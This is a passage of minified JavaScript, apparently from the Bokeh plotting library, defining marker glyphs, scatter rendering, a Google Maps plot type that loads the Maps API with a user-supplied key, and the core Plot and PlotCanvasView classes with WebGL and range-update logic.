d(t,e,i,n,r){u(t,i),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function f(t,e,i,n,r){u(t,i),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),l(t,i),t.stroke())}function v(t,e,i,n,r){var o,s,a,l;l=h*(a=(s=i)/2),(o=t).moveTo(s,0),o.lineTo(a,-l),o.lineTo(-a,-l),o.lineTo(-s,0),o.lineTo(-a,l),o.lineTo(a,l),o.closePath(),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function m(t,e,i,n,r){t.rotate(Math.PI),c(t,i),t.rotate(-Math.PI),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function g(t,e,i,n,r){var o=2*i;t.rect(-i,-i,o,o),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function y(t,e,i,n,r){var o=2*i;t.rect(-i,-i,o,o),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),l(t,i),t.stroke())}function b(t,e,i,n,r){var o=2*i;t.rect(-i,-i,o,o),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),a(t,i),t.stroke())}function x(t,e,i,n,r){c(t,i),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())}function w(t,e,i,n,r){var o,s;s=i,(o=t).moveTo(-s,0),o.lineTo(s,0),n.doit&&(n.set_vectorize(t,e),t.stroke())}function k(t,e,i,n,r){a(t,i),n.doit&&(n.set_vectorize(t,e),t.stroke())}function S(i,n){var r=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.initClass=function(){this.prototype._render_one=n},e}(s.MarkerView);r.initClass();var t=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.initClass=function(){this.prototype.default_view=r,this.prototype.type=i},e}(s.Marker);return t.initClass(),t}i.Asterisk=S(\\\"Asterisk\\\",n),i.CircleCross=S(\\\"CircleCross\\\",r),i.CircleX=S(\\\"CircleX\\\",_),i.Cross=S(\\\"Cross\\\",p),i.Diamond=S(\\\"Diamond\\\",d),i.DiamondCross=S(\\\"DiamondCross\\\",f),i.Hex=S(\\\"Hex\\\",v),i.InvertedTriangle=S(\\\"InvertedTriangle\\\",m),i.Square=S(\\\"Square\\\",g),i.SquareCross=S(\\\"SquareCross\\\",y),i.SquareX=S(\\\"SquareX\\\",b),i.Triangle=S(\\\"Triangle\\\",x),i.Dash=S(\\\"Dash\\\",w),i.X=S(\\\"X\\\",k),i.marker_funcs={asterisk:n,circle:function(t,e,i,n,r){t.arc(0,0,i,0,2*Math.PI,!1),r.doit&&(r.set_vectorize(t,e),t.fill()),n.doit&&(n.set_vectorize(t,e),t.stroke())},circle_cross:r,circle_x:_,cross:p,diamond:d,diamond_cross:f,hex:v,inverted_triangle:m,square:g,square_cross:y,square_x:b,triangle:x,dash:w,x:k}},function(t,e,i){var n=t(391);n.__exportStar(t(170),i);var r=t(173);i.Scatter=r.Scatter},function(t,e,i){var n=t(391),r=t(146),w=t(9),o=t(15),h=t(21),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i._size,s=i._angle,a=0,l=e;a<l.length;a++){var h=l[a];if(!isNaN(n[h]+r[h]+o[h]+s[h])){var u=o[h]/2;t.beginPath(),t.translate(n[h],r[h]),s[h]&&t.rotate(s[h]),this._render_one(t,h,u,this.visuals.line,this.visuals.fill),s[h]&&t.rotate(-s[h]),t.translate(-n[h],-r[h])}}},e.prototype._mask_data=function(){var t=this.renderer.plot_view.frame.bbox.h_range,e=t.start-this.max_size,i=t.end+this.max_size,n=this.renderer.xscale.r_invert(e,i),r=n[0],o=n[1],s=this.renderer.plot_view.frame.bbox.v_range,a=s.start-this.max_size,l=s.end+this.max_size,h=this.renderer.yscale.r_invert(a,l),u=h[0],c=h[1],_=w.validate_bbox_coords([r,o],[u,c]);return this.index.indices(_)},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=e-this.max_size,r=e+this.max_size,o=this.renderer.xscale.r_invert(n,r),s=o[0],a=o[1],l=i-this.max_size,h=i+this.max_size,u=this.renderer.yscale.r_invert(l,h),c=u[0],_=u[1],p=w.validate_bbox_coords([s,a],[c,_]),d=this.index.indices(p),f=[],v=0,m=d;v<m.length;v++){var g=m[v],y=this._size[g]/2,b=Math.abs(this.sx[g]-e)+Math.abs(this.sy[g]-i);Math.abs(this.sx[g]-e)<=y&&Math.abs(this.sy[g]-i)<=y&&f.push([g,b])}return w.create_hit_test_result_from_hits(f)},e.prototype._hit_span=function(t){var e,i,n,r,o,s,a=t.sx,l=t.sy,h=this.bounds(),u=h.minX,c=h.minY,_=h.maxX,p=h.maxY,d=w.create_empty_hit_test_result();if(\\\"h\\\"==t.direction){o=c,s=p;var f=this.max_size/2,v=a-f,m=a+f;e=this.renderer.xscale.r_invert(v,m),n=e[0],r=e[1]}else{n=u,r=_;var f=this.max_size/2,g=l-f,y=l+f;i=this.renderer.yscale.r_invert(g,y),o=i[0],s=i[1]}var b=w.validate_bbox_coords([n,r],[o,s]),x=this.index.indices(b);return d.indices=x,d},e.prototype._hit_rect=function(t){var e=t.sx0,i=t.sx1,n=t.sy0,r=t.sy1,o=this.renderer.xscale.r_invert(e,i),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(n,r),h=l[0],u=l[1],c=w.validate_bbox_coords([s,a],[h,u]),_=w.create_empty_hit_test_result();return _.indices=this.index.indices(c),_},e.prototype._hit_poly=function(t){for(var e=t.sx,i=t.sy,n=h.range(0,this.sx.length),r=[],o=0,s=n.length;o<s;o++){var a=n[o];w.point_in_poly(this.sx[o],this.sy[o],e,i)&&r.push(a)}var l=w.create_empty_hit_test_result();return l.indices=r,l},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.x1,o=e.y0,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+r)/2;var h=new Array(a);h[i]=(o+s)/2;var u=new Array(a);u[i]=.4*Math.min(Math.abs(r-n),Math.abs(s-o));var c=new Array(a);c[i]=0,this._render(t,[i],{sx:l,sy:h,_size:u,_angle:c})},e}(r.XYGlyphView);i.MarkerView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({size:[o.DistanceSpec,{units:\\\"screen\\\",value:4}],angle:[o.AngleSpec,0]})},t}(r.XYGlyph);(i.Marker=a).initClass()},function(t,e,i){var n=t(391),r=t(172),_=t(170),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i._size,s=i._angle,a=i._marker,l=0,h=e;l<h.length;l++){var u=h[l];if(!isNaN(n[u]+r[u]+o[u]+s[u])){var c=o[u]/2;t.beginPath(),t.translate(n[u],r[u]),s[u]&&t.rotate(s[u]),_.marker_funcs[a[u]](t,u,c,this.visuals.line,this.visuals.fill),s[u]&&t.rotate(-s[u]),t.translate(-n[u],-r[u])}}},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.x1,o=e.y0,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+r)/2;var h=new Array(a);h[i]=(o+s)/2;var u=new Array(a);u[i]=.4*Math.min(Math.abs(r-n),Math.abs(s-o));var c=new Array(a);c[i]=0;var _=new Array(a);_[i]=this._marker[i],this._render(t,[i],{sx:l,sy:h,_size:u,_angle:c,_marker:_})},e}(r.MarkerView);i.ScatterView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Scatter\\\",this.prototype.default_view=s,this.define({marker:[o.MarkerSpec,{value:\\\"circle\\\"}]})},t}(r.Marker);(i.Scatter=a).initClass()},function(t,e,i){var n=t(391),r=t(14),o=t(175),s=t(177),a=t(15),l=t(59),h=t(184),u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MapOptions\\\",this.define({lat:[a.Number],lng:[a.Number],zoom:[a.Number,12]})},t}(l.Model);(i.MapOptions=u).initClass();var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GMapOptions\\\",this.define({map_type:[a.String,\\\"roadmap\\\"],scale_control:[a.Bool,!1],styles:[a.String],tilt:[a.Int,45]})},t}(u);(i.GMapOptions=c).initClass();var _=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(s.PlotView);i.GMapPlotView=_;var p=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GMapPlot\\\",this.prototype.default_view=_,this.define({map_options:[a.Instance],api_key:[a.String]}),this.override({x_range:function(){return new h.Range1d},y_range:function(){return new h.Range1d}})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.api_key||r.logger.error(\\\"api_key is required. See https://developers.google.com/maps/documentation/javascript/get-api-key for more information on how to obtain your own.\\\")},t.prototype._init_plot_canvas=function(){return new o.GMapPlotCanvas({plot:this})},t}(s.Plot);(i.GMapPlot=p).initClass()},function(t,e,i){var n=t(391),r=t(19),c=t(33),o=t(178),s=new r.Signal0({},\\\"gmaps_ready\\\"),a=function(a){function t(){return null!==a&&a.apply(this,arguments)||this}return n.__extends(t,a),t.prototype.initialize=function(t){var e=this;this.pause(),a.prototype.initialize.call(this,t),this._tiles_loaded=!1,this.zoom_count=0;var i=this.model.plot.map_options,n=i.zoom,r=i.lat,o=i.lng;this.initial_zoom=n,this.initial_lat=r,this.initial_lng=o,this.canvas_view.map_el.style.position=\\\"absolute\\\",\\\"undefined\\\"!=typeof google&&null!=google.maps||(\\\"undefined\\\"==typeof _bokeh_gmaps_callback&&function(t){_bokeh_gmaps_callback=function(){return s.emit()};var e=document.createElement(\\\"script\\\");e.type=\\\"text/javascript\\\",e.src=\\\"https://maps.googleapis.com/maps/api/js?key=\\\"+t+\\\"&callback=_bokeh_gmaps_callback\\\",document.body.appendChild(e)}(this.model.plot.api_key),s.connect(function(){return e.request_render()})),this.unpause()},t.prototype.update_range=function(t){if(null==t)this.map.setCenter({lat:this.initial_lat,lng:this.initial_lng}),this.map.setOptions({zoom:this.initial_zoom}),a.prototype.update_range.call(this,null);else if(null!=t.sdx||null!=t.sdy)this.map.panBy(t.sdx||0,t.sdy||0),a.prototype.update_range.call(this,t);else if(null!=t.factor){var e=void 0;if(10!==this.zoom_count)return void(this.zoom_count+=1);this.zoom_count=0,this.pause(),a.prototype.update_range.call(this,t),e=t.factor<0?-1:1;var i=this.map.getZoom(),n=i+e;if(2<=n){this.map.setZoom(n);var r=this._get_projected_bounds(),o=r[0],s=r[1];s-o<0&&this.map.setZoom(i)}this.unpause()}this._set_bokeh_ranges()},t.prototype._build_map=function(){var t=this,e=google.maps;this.map_types={satellite:e.MapTypeId.SATELLITE,terrain:e.MapTypeId.TERRAIN,roadmap:e.MapTypeId.ROADMAP,hybrid:e.MapTypeId.HYBRID};var i=this.model.plot.map_options,n={center:new e.LatLng(i.lat,i.lng),zoom:i.zoom,disableDefaultUI:!0,mapTypeId:this.map_types[i.map_type],scaleControl:i.scale_control,tilt:i.tilt};null!=i.styles&&(n.styles=JSON.parse(i.styles)),this.map=new e.Map(this.canvas_view.map_el,n),e.event.addListener(this.map,\\\"idle\\\",function(){return t._set_bokeh_ranges()}),e.event.addListener(this.map,\\\"bounds_changed\\\",function(){return t._set_bokeh_ranges()}),e.event.addListenerOnce(this.map,\\\"tilesloaded\\\",function(){return t._render_finished()}),this.connect(this.model.plot.properties.map_options.change,function(){return t._update_options()}),this.connect(this.model.plot.map_options.properties.styles.change,function(){return t._update_styles()}),this.connect(this.model.plot.map_options.properties.lat.change,function(){return t._update_center(\\\"lat\\\")}),this.connect(this.model.plot.map_options.properties.lng.change,function(){return t._update_center(\\\"lng\\\")}),this.connect(this.model.plot.map_options.properties.zoom.change,function(){return t._update_zoom()}),this.connect(this.model.plot.map_options.properties.map_type.change,function(){return t._update_map_type()}),this.connect(this.model.plot.map_options.properties.scale_control.change,function(){return t._update_scale_control()}),this.connect(this.model.plot.map_options.properties.tilt.change,function(){return t._update_tilt()})},t.prototype._render_finished=function(){this._tiles_loaded=!0,this.notify_finished()},t.prototype.has_finished=function(){return a.prototype.has_finished.call(this)&&!0===this._tiles_loaded},t.prototype._get_latlon_bounds=function(){var t=this.map.getBounds(),e=t.getNorthEast(),i=t.getSouthWest(),n=i.lng(),r=e.lng(),o=i.lat(),s=e.lat();return[n,r,o,s]},t.prototype._get_projected_bounds=function(){var t=this._get_latlon_bounds(),e=t[0],i=t[1],n=t[2],r=t[3],o=c.wgs84_mercator.forward([e,n]),s=o[0],a=o[1],l=c.wgs84_mercator.forward([i,r]),h=l[0],u=l[1];return[s,h,a,u]},t.prototype._set_bokeh_ranges=function(){var t=this._get_projected_bounds(),e=t[0],i=t[1],n=t[2],r=t[3];this.frame.x_range.setv({start:e,end:i}),this.frame.y_range.setv({start:n,end:r})},t.prototype._update_center=function(t){var e=this.map.getCenter().toJSON();e[t]=this.model.plot.map_options[t],this.map.setCenter(e),this._set_bokeh_ranges()},t.prototype._update_map_type=function(){this.map.setOptions({mapTypeId:this.map_types[this.model.plot.map_options.map_type]})},t.prototype._update_scale_control=function(){this.map.setOptions({scaleControl:this.model.plot.map_options.scale_control})},t.prototype._update_tilt=function(){this.map.setOptions({tilt:this.model.plot.map_options.tilt})},t.prototype._update_options=function(){this._update_styles(),this._update_center(\\\"lat\\\"),this._update_center(\\\"lng\\\"),this._update_zoom(),this._update_map_type()},t.prototype._update_styles=function(){this.map.setOptions({styles:JSON.parse(this.model.plot.map_options.styles)})},t.prototype._update_zoom=function(){this.map.setOptions({zoom:this.model.plot.map_options.zoom}),this._set_bokeh_ranges()},t.prototype._map_hook=function(t,e){var i=e[0],n=e[1],r=e[2],o=e[3];this.canvas_view.map_el.style.top=n+\\\"px\\\",this.canvas_view.map_el.style.left=i+\\\"px\\\",this.canvas_view.map_el.style.width=r+\\\"px\\\",this.canvas_view.map_el.style.height=o+\\\"px\\\",null==this.map&&\\\"undefined\\\"!=typeof google&&null!=google.maps&&this._build_map()},t.prototype._paint_empty=function(t,e){var i=this.canvas._width.value,n=this.canvas._height.value,r=e[0],o=e[1],s=e[2],a=e[3];t.clearRect(0,0,i,n),t.beginPath(),t.moveTo(0,0),t.lineTo(0,n),t.lineTo(i,n),t.lineTo(i,0),t.lineTo(0,0),t.moveTo(r,o),t.lineTo(r+s,o),t.lineTo(r+s,o+a),t.lineTo(r,o+a),t.lineTo(r,o),t.closePath(),t.fillStyle=this.model.plot.border_fill_color,t.fill()},t}(o.PlotCanvasView);i.GMapPlotCanvasView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GMapPlotCanvas\\\",this.prototype.default_view=a},t.prototype.initialize=function(){this.use_map=!0,e.prototype.initialize.call(this)},t}(o.PlotCanvas);(i.GMapPlotCanvas=l).initClass()},function(t,e,i){var n=t(174);i.MapOptions=n.MapOptions;var r=t(174);i.GMapOptions=r.GMapOptions;var o=t(174);i.GMapPlot=o.GMapPlot;var s=t(175);i.GMapPlotCanvas=s.GMapPlotCanvas;var a=t(177);i.Plot=a.Plot;var l=t(178);i.PlotCanvas=l.PlotCanvas},function(t,e,i){var o=t(391),n=t(13),r=t(14),s=t(15),f=t(19),a=t(21),v=t(32),m=t(44),l=t(157),h=t(75),u=t(192),c=t(268),_=t(76),p=t(178),g=t(200),y=t(185),b=t(3),x=t(180),w=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype.connect_signals=function(){t.prototype.connect_signals.call(this),this.connect(this.model.properties.title.change,function(){return r.logger.warn(\\\"Title object cannot be replaced. Try changing properties on title to update it after initialization.\\\")})},e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-plot-layout\\\")},e.prototype.get_height=function(){return this.model._width.value/this.model.get_aspect_ratio()},e.prototype.get_width=function(){return this.model._height.value*this.model.get_aspect_ratio()},e.prototype.save=function(t){this.plot_canvas_view.save(t)},Object.defineProperty(e.prototype,\\\"plot_canvas_view\\\",{get:function(){return this.child_views[this.model.plot_canvas.id]},enumerable:!0,configurable:!0}),e}(l.LayoutDOMView);i.PlotView=w;var d=function(d){function t(t){return d.call(this,t)||this}return o.__extends(t,d),t.initClass=function(){this.prototype.type=\\\"Plot\\\",this.prototype.default_view=w,this.mixins([\\\"line:outline_\\\",\\\"fill:background_\\\",\\\"fill:border_\\\"]),this.define({toolbar:[s.Instance,function(){return new c.Toolbar}],toolbar_location:[s.Location,\\\"right\\\"],toolbar_sticky:[s.Boolean,!0],plot_width:[s.Number,600],plot_height:[s.Number,600],title:[s.Any,function(){return new h.Title({text:\\\"\\\"})}],title_location:[s.Location,\\\"above\\\"],h_symmetry:[s.Bool,!0],v_symmetry:[s.Bool,!1],above:[s.Array,[]],below:[s.Array,[]],left:[s.Array,[]],right:[s.Array,[]],renderers:[s.Array,[]],x_range:[s.Instance,function(){return new x.DataRange1d}],extra_x_ranges:[s.Any,{}],y_range:[s.Instance,function(){return new x.DataRange1d}],extra_y_ranges:[s.Any,{}],x_scale:[s.Instance,function(){return new u.LinearScale}],y_scale:[s.Instance,function(){return new u.LinearScale}],lod_factor:[s.Number,10],lod_interval:[s.Number,300],lod_threshold:[s.Number,2e3],lod_timeout:[s.Number,500],hidpi:[s.Bool,!0],output_backend:[s.OutputBackend,\\\"canvas\\\"],min_border:[s.Number,5],min_border_top:[s.Number,null],min_border_left:[s.Number,null],min_border_bottom:[s.Number,null],min_border_right:[s.Number,null],inner_width:[s.Number],inner_height:[s.Number],layout_width:[s.Number],layout_height:[s.Number],match_aspect:[s.Bool,!1],aspect_scale:[s.Number,1]}),this.override({outline_line_color:\\\"#e5e5e5\\\",border_fill_color:\\\"#ffffff\\\",background_fill_color:\\\"#ffffff\\\"}),b.register_with_event(b.UIEvent,this)},t.prototype.initialize=function(){d.prototype.initialize.call(this),this.reset=new f.Signal0(this,\\\"reset\\\");for(var t=0,e=v.values(this.extra_x_ranges).concat(this.x_range);t<e.length;t++){var i=e[t],n=i.plots;m.isArray(n)&&(n=n.concat(this),i.setv({plots:n},{silent:!0}))}for(var r=0,o=v.values(this.extra_y_ranges).concat(this.y_range);r<o.length;r++){var s=o[r],n=s.plots;m.isArray(n)&&(n=n.concat(this),s.setv({plots:n},{silent:!0}))}null!=this.min_border&&(null==this.min_border_top&&(this.min_border_top=this.min_border),null==this.min_border_bottom&&(this.min_border_bottom=this.min_border),null==this.min_border_left&&(this.min_border_left=this.min_border),null==this.min_border_right&&(this.min_border_right=this.min_border));for(var a=0,l=[\\\"above\\\",\\\"below\\\",\\\"left\\\",\\\"right\\\"];a<l.length;a++)for(var h=l[a],u=this.getv(h),c=0,_=u;c<_.length;c++){var p=_[c];p.add_panel(h)}this._init_title_panel(),this._init_toolbar_panel(),this._plot_canvas=this._init_plot_canvas(),this.plot_canvas.toolbar=this.toolbar,null==this.width&&(this.width=this.plot_width),null==this.height&&(this.height=this.plot_height)},t.prototype._init_plot_canvas=function(){return new p.PlotCanvas({plot:this})},t.prototype._init_title_panel=function(){if(null!=this.title){var t=m.isString(this.title)?new h.Title({text:this.title}):this.title;this.add_layout(t,this.title_location)}},t.prototype._init_toolbar_panel=function(){var e=this,t=a.find(this.renderers,function(t){return t instanceof _.ToolbarPanel&&a.includes(t.tags,e.id)});switch(null!=t&&this.remove_layout(t),this.toolbar_location){case\\\"left\\\":case\\\"right\\\":case\\\"above\\\":case\\\"below\\\":if(t=new _.ToolbarPanel({toolbar:this.toolbar,tags:[this.id]}),this.toolbar.toolbar_location=this.toolbar_location,this.toolbar_sticky){var i=this.getv(this.toolbar_location),n=a.find(i,function(t){return t instanceof h.Title});if(null!=n)return t.set_panel(n.panel),void this.add_renderers(t)}this.add_layout(t,this.toolbar_location)}},t.prototype.connect_signals=function(){var t=this;d.prototype.connect_signals.call(this),this.connect(this.properties.toolbar_location.change,function(){return t._init_toolbar_panel()})},Object.defineProperty(t.prototype,\\\"plot_canvas\\\",{get:function(){return this._plot_canvas},enumerable:!0,configurable:!0}),t.prototype._doc_attached=function(){this.plot_canvas.attach_document(this.document),d.prototype._doc_attached.call(this)},t.prototype.add_renderers=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];var i=this.renderers;i=i.concat(t),this.renderers=i},t.prototype.add_layout=function(t,e){if(void 0===e&&(e=\\\"center\\\"),null!=t.props.plot&&(t.plot=this),\\\"center\\\"!=e){var i=this.getv(e);i.push(t),t.add_panel(e)}this.add_renderers(t)},t.prototype.remove_layout=function(e){var t=function(t){a.removeBy(t,function(t){return t==e})};t(this.left),t(this.right),t(this.above),t(this.below),t(this.renderers)},t.prototype.add_glyph=function(t,e,i){void 0===e&&(e=new g.ColumnDataSource),void 0===i&&(i={});var n=o.__assign({},i,{data_source:e,glyph:t}),r=new y.GlyphRenderer(n);return this.add_renderers(r),r},t.prototype.add_tools=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];for(var i=0,n=t;i<n.length;i++){var r=n[i];null!=r.overlay&&this.add_renderers(r.overlay)}this.toolbar.tools=this.toolbar.tools.concat(t)},t.prototype.get_layoutable_children=function(){return[this.plot_canvas]},t.prototype.get_constraints=function(){var t=d.prototype.get_constraints.call(this);return t.push(n.EQ(this._width,[-1,this.plot_canvas._width])),t.push(n.EQ(this._height,[-1,this.plot_canvas._height])),t},t.prototype.get_constrained_variables=function(){var t=o.__assign({},d.prototype.get_constrained_variables.call(this),{on_edge_align_top:this.plot_canvas._top,on_edge_align_bottom:this.plot_canvas._height_minus_bottom,on_edge_align_left:this.plot_canvas._left,on_edge_align_right:this.plot_canvas._width_minus_right,box_cell_align_top:this.plot_canvas._top,box_cell_align_bottom:this.plot_canvas._height_minus_bottom,box_cell_align_left:this.plot_canvas._left,box_cell_align_right:this.plot_canvas._width_minus_right,box_equal_size_top:this.plot_canvas._top,box_equal_size_bottom:this.plot_canvas._height_minus_bottom});return\\\"fixed\\\"!=this.sizing_mode&&(t.box_equal_size_left=this.plot_canvas._left,t.box_equal_size_right=this.plot_canvas._width_minus_right),t},Object.defineProperty(t.prototype,\\\"all_renderers\\\",{get:function(){for(var t=this.renderers,e=0,i=this.toolbar.tools;e<i.length;e++){var n=i[e];t=t.concat(n.synthetic_renderers)}return t},enumerable:!0,configurable:!0}),t}(l.LayoutDOM);(i.Plot=d).initClass()},function(t,e,i){var l=t(391),n=t(91),r=t(92),C=t(180),T=t(185),o=t(157),s=t(3),h=t(19),c=t(4),u=t(20),_=t(49),a=t(6),p=t(11),d=t(10),f=t(13),A=t(14),v=t(7),m=t(15),g=t(42),y=t(44),b=t(21),E=t(32),x=t(12),w=null,k=function(a){function t(){return null!==a&&a.apply(this,arguments)||this}return l.__extends(t,a),Object.defineProperty(t.prototype,\\\"frame\\\",{get:function(){return this.model.frame},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"canvas\\\",{get:function(){return this.model.canvas},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"canvas_overlays\\\",{get:function(){return this.canvas_view.overlays_el},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"canvas_events\\\",{get:function(){return this.canvas_view.events_el},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_paused\\\",{get:function(){return null!=this._is_paused&&0!==this._is_paused},enumerable:!0,configurable:!0}),t.prototype.view_options=function(){return{plot_view:this,parent:this}},t.prototype.pause=function(){null==this._is_paused?this._is_paused=1:this._is_paused+=1},t.prototype.unpause=function(t){if(void 0===t&&(t=!1),null==this._is_paused)throw new Error(\\\"wasn't paused\\\");this._is_paused-=1,0!=this._is_paused||t||this.request_render()},t.prototype.request_render=function(){this.request_paint()},t.prototype.request_paint=function(){this.is_paused||this.throttled_paint()},t.prototype.reset=function(){this.clear_state(),this.reset_range(),this.reset_selection(),this.model.plot.trigger_event(new s.Reset)},t.prototype.remove=function(){this.ui_event_bus.destroy(),c.remove_views(this.renderer_views),c.remove_views(this.tool_views),this.canvas_view.remove(),a.prototype.remove.call(this)},t.prototype.css_classes=function(){return a.prototype.css_classes.call(this).concat(\\\"bk-plot-wrapper\\\")},t.prototype.initialize=function(t){var e=this;this.pause(),a.prototype.initialize.call(this,t),this.force_paint=new h.Signal0(this,\\\"force_paint\\\"),this.state_changed=new h.Signal0(this,\\\"state_changed\\\"),this.lod_started=!1,this.visuals=new _.Visuals(this.model.plot),this._initial_state_info={selection:{},dimensions:{width:this.model.canvas._width.value,height:this.model.canvas._height.value}},this.visibility_callbacks=[],this.state={history:[],index:-1},this.canvas_view=new this.canvas.default_view({model:this.canvas,parent:this}),this.el.appendChild(this.canvas_view.el),this.canvas_view.render(),\\\"webgl\\\"==this.model.plot.output_backend&&this.init_webgl(),this.throttled_paint=g.throttle(function(){return e.force_paint.emit()},15),this.ui_event_bus=new u.UIEvents(this,this.model.toolbar,this.canvas_view.events_el,this.model.plot),this.levels={};for(var i=0,n=v.RenderLevel;i<n.length;i++){var r=n[i];this.levels[r]={}}this.renderer_views={},this.tool_views={},this.build_levels(),this.build_tools(),this.update_dataranges(),this.unpause(!0),A.logger.debug(\\\"PlotView initialized\\\")},t.prototype.set_cursor=function(t){void 0===t&&(t=\\\"default\\\"),this.canvas_view.el.style.cursor=t},t.prototype.set_toolbar_visibility=function(e){void 0===e&&(e=!0),this.visibility_callbacks.forEach(function(t){return t(e)})},t.prototype.init_webgl=function(){if(null==w){var t=document.createElement(\\\"canvas\\\"),e={premultipliedAlpha:!0},i=t.getContext(\\\"webgl\\\",e)||t.getContext(\\\"experimental-webgl\\\",e);null!=i&&(w={canvas:t,ctx:i})}null!=w?this.gl=w:A.logger.warn(\\\"WebGL is not supported, falling back to 2D canvas.\\\")},t.prototype.prepare_webgl=function(t,e){if(null!=this.gl){var i=this.canvas_view.get_canvas_element();this.gl.canvas.width=i.width,this.gl.canvas.height=i.height;var n=this.gl.ctx;n.viewport(0,0,this.gl.canvas.width,this.gl.canvas.height),n.clearColor(0,0,0,0),n.clear(n.COLOR_BUFFER_BIT||n.DEPTH_BUFFER_BIT),n.enable(n.SCISSOR_TEST);var r=e[0],o=e[1],s=e[2],a=e[3],l=this.model.canvas,h=l.xview,u=l.yview,c=h.compute(r),_=u.compute(o+a);n.scissor(t*c,t*_,t*s,t*a),n.enable(n.BLEND),n.blendFuncSeparate(n.SRC_ALPHA,n.ONE_MINUS_SRC_ALPHA,n.ONE_MINUS_DST_ALPHA,n.ONE)}},t.prototype.blit_webgl=function(t){var e=this.canvas_view.ctx;null!=this.gl&&(A.logger.debug(\\\"drawing with WebGL\\\"),e.restore(),e.drawImage(this.gl.canvas,0,0),e.save(),e.scale(t,t),e.translate(.5,.5))},t.prototype.update_dataranges=function(){for(var t=this.model.frame,e={},i={},n=!1,r=0,o=E.values(t.x_ranges).concat(E.values(t.y_ranges));r<o.length;r++){var s=o[r];s instanceof C.DataRange1d&&\\\"log\\\"==s.scale_hint&&(n=!0)}for(var a in this.renderer_views){var l=this.renderer_views[a];if(l instanceof T.GlyphRendererView){var h=l.glyph.bounds();if(null!=h&&(e[a]=h),n){var u=l.glyph.log_bounds();null!=u&&(i[a]=u)}}}var c,_=!1,p=!1;!1!==this.model.plot.match_aspect&&0!=this.frame._width.value&&0!=this.frame._height.value&&(c=1/this.model.plot.aspect_scale*(this.frame._width.value/this.frame._height.value));for(var d=0,f=E.values(t.x_ranges);d<f.length;d++){var v=f[d];if(v instanceof C.DataRange1d){var m=\\\"log\\\"==v.scale_hint?i:e;v.update(m,0,this.model.id,c),v.follow&&(_=!0)}null!=v.bounds&&(p=!0)}for(var g=0,y=E.values(t.y_ranges);g<y.length;g++){var b=y[g];if(b instanceof C.DataRange1d){var m=\\\"log\\\"==b.scale_hint?i:e;b.update(m,1,this.model.id,c),b.follow&&(_=!0)}null!=b.bounds&&(p=!0)}if(_&&p){A.logger.warn(\\\"Follow enabled so bounds are unset.\\\");for(var x=0,w=E.values(t.x_ranges);x<w.length;x++){var v=w[x];v.bounds=null}for(var k=0,S=E.values(t.y_ranges);k<S.length;k++){var b=S[k];b.bounds=null}}this.range_update_timestamp=Date.now()},t.prototype.map_to_screen=function(t,e,i,n){return void 0===i&&(i=\\\"default\\\"),void 0===n&&(n=\\\"default\\\"),this.frame.map_to_screen(t,e,i,n)},t.prototype.push_state=function(t,e){var i=this.state,n=i.history,r=i.index,o=null!=n[r]?n[r].info:{},s=l.__assign({},this._initial_state_info,o,e);this.state.history=this.state.history.slice(0,this.state.index+1),this.state.history.push({type:t,info:s}),this.state.index=this.state.history.length-1,this.state_changed.emit()},t.prototype.clear_state=function(){this.state={history:[],index:-1},this.state_changed.emit()},t.prototype.can_undo=function(){this.state.index},t.prototype.can_redo=function(){this.state.index,this.state.history.length},t.prototype.undo=function(){this.can_undo()&&(this.state.index-=1,this._do_state_change(this.state.index),this.state_changed.emit())},t.prototype.redo=function(){this.can_redo()&&(this.state.index+=1,this._do_state_change(this.state.index),this.state_changed.emit())},t.prototype._do_state_change=function(t){var 